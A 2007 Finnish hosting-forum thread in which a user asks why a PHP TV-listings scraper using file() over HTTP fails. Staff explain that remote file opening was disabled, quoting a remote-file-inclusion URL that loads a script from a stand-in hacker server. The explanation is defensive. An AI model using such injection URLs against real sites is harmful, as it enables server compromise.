 |
Näytä edellinen aihe :: Näytä seuraava aihe |
Kirjoittaja |
Viesti |
Jusalus -
Liittynyt: 26 Tam 2006 Viestejä: 14
|
Lähetetty: 26.2.2007 16:49 Viestin aihe: TV-ohjelmat sivuille ja eikä toimi ARKKU.NETISSÄ! |
|
|
Mikä on vikana, kun ei anna toimia tv-ohjelmat skirptiä arkku.netissä? Kokeilin koti.mbnet.fi:ssä niin yhtäkkiä toimiikin.
Koodi: | <?php
/*
TV-Ohjelma Script by rikshot!
Kaikki on sit copyrightatty!
Mä tein tän mun työpöydälle ihan huviks vaan.
*/
$sivu = implode('', file('http://www.yle.fi/ohjelmaopas/index.php?&co[]=tv1&co[]=tv2&co[]=mtv&co[]=nel&mode=print'));
$etsi = array ("'<script[^>]*?>.*?</script>'si","'<[\/\!]*?[^<>]*?>'si","'([\r\n])[\s]+'","'&(quot|#34);'i","'&(amp|#38);'i","'&(lt|#60);'i",
"'&(gt|#62);'i","'&(nbsp|#160);'i","'&(iexcl|#161);'i","'&(cent|#162);'i","'&(pound|#163);'i","'&(copy|#169);'i","'&#(\d+);'e");
$muuta = array ("","","\\1","\"","&","<",">"," ",chr(161),chr(162),chr(163),chr(169),"chr(\\1)");
$ohjelmat = preg_replace ($etsi, $muuta, $sivu);
$ohjelmat = strstr($ohjelmat, "}");
$ohjelmat = substr($ohjelmat, 2);
$ohjelmat = nl2br($ohjelmat);
$ohjelmat = str_replace("TV1<", "<table width=100% border=0 cellpadding=10 cellspacing=0><tr colspan=4><td valign=top><b>TV1</b><", $ohjelmat);
$ohjelmat = str_replace("TV2<", "</td><td valign=top><b>TV2</b><", $ohjelmat);
$ohjelmat = str_replace("MTV3<", "</td><td valign=top><b>MTV3</b><", $ohjelmat);
$ohjelmat = str_replace("Nelonen<", "</td><td valign=top><b>Nelonen</b><", $ohjelmat);
$ohjelmat = str_replace(" ", " ", $ohjelmat);
$ohjelmat .= "</td></tr></table>";
echo $ohjelmat;
?> |
Siinä olisi se koodi pätkä ja helppii kaipaisin.
Mod. Edit.
Rivitetty paremmin
T: Lurulude |
|
Takaisin alkuun |
|
ruutana -
Liittynyt: 31 Jou 2004 Viestejä: 49 Paikkakunta: Espoo
|
Lähetetty: 26.2.2007 16:59 Viestin aihe: |
|
|
Joo, mulla on ollu samanlaisia ongelmia php:n mail-funktion kanssa. Sähköpostit ei saapunu joillekin palvelimille (ei saunalahtii, mutta gmailiin kyllä), mutta kun koodin ajo toisella kotisivulla niin kaikki toimi. Ilmeisesti saunalahti katsoi, että arkulta tulee roskapostia tai muuta vastaavaa. En tiedä. Mutta näin saattaa olla tämänkin socket-koodin kanssa. Niin ja enkä ole saanut ongelmaa korjattua ja sitä tuli pohdittua Lefankin kanssa. _________________ http://arkku.net/?referer=108 |
|
Takaisin alkuun |
|
Jusalus -
Liittynyt: 26 Tam 2006 Viestejä: 14
|
Lähetetty: 26.2.2007 17:01 Viestin aihe: |
|
|
Ei ole kysymys e-mailin skript koodeista vaan tästä aiheesta.  |
|
Takaisin alkuun |
|
Lefa Arkku.net henkilökunta
Liittynyt: 09 Lok 2004 Viestejä: 826 Paikkakunta: Tampere
|
Lähetetty: 26.2.2007 17:04 Viestin aihe: |
|
|
Arkussa include()- ja file()-funktioilla ei voi turvallisuussyistä avata tiedostoja http-protokollan yli. Tämä muutos tehtiin siksi, koska joidenkin käyttäjien php-koodit olivat niin reikäisiä (huono tietoturva), että kuka tahansa olisi voinut ladata matoja palvelimelle kirjoittamalla osoitepalkkiin esimerkiksi http://tunnus.arkku.net/?sivu=http://hakkeriservu.org/hack.pl.
file()-funktion käytön voi korvata muilla funktioilla. |
|
Takaisin alkuun |
|
Jusalus -
Liittynyt: 26 Tam 2006 Viestejä: 14
|
Lähetetty: 27.2.2007 16:45 Viestin aihe: |
|
|
Siis mitä mie teen?  |
|
Takaisin alkuun |
|
Lurulude Arkku.net henkilökunta
Liittynyt: 01 Syy 2005 Viestejä: 213 Paikkakunta: Lohja
|
Lähetetty: 27.2.2007 17:24 Viestin aihe: |
|
|
Tuotanoin, tuo ei taida onnistua aivan helposti... toki voit luoda ftp-härpäkkeen, jolla haet ftp:n avulla kyseisen sivun ja siitä sitten parsit, mutta se ei ole hirveän helppoa. Ehkäpä järkevintä olisi tehdä ihan puhdas i-frame, johonka laitat kyseisen sivun. Muutenkin, epäilen hieman tuon skriptin käytön laillisuutta, eiköhän tuossa rikota ylen tekijänoikeuksia. _________________ Arkku.net Staff |
|
Takaisin alkuun |
|
|
|
Et voi kirjoittaa uusia viestejä tässä foorumissa Et voi vastata viesteihin tässä foorumissa Et voi muokata viestejäsi tässä foorumissa Et voi poistaa viestejäsi tässä foorumissa Et voi äänestää tässä foorumissa
|
|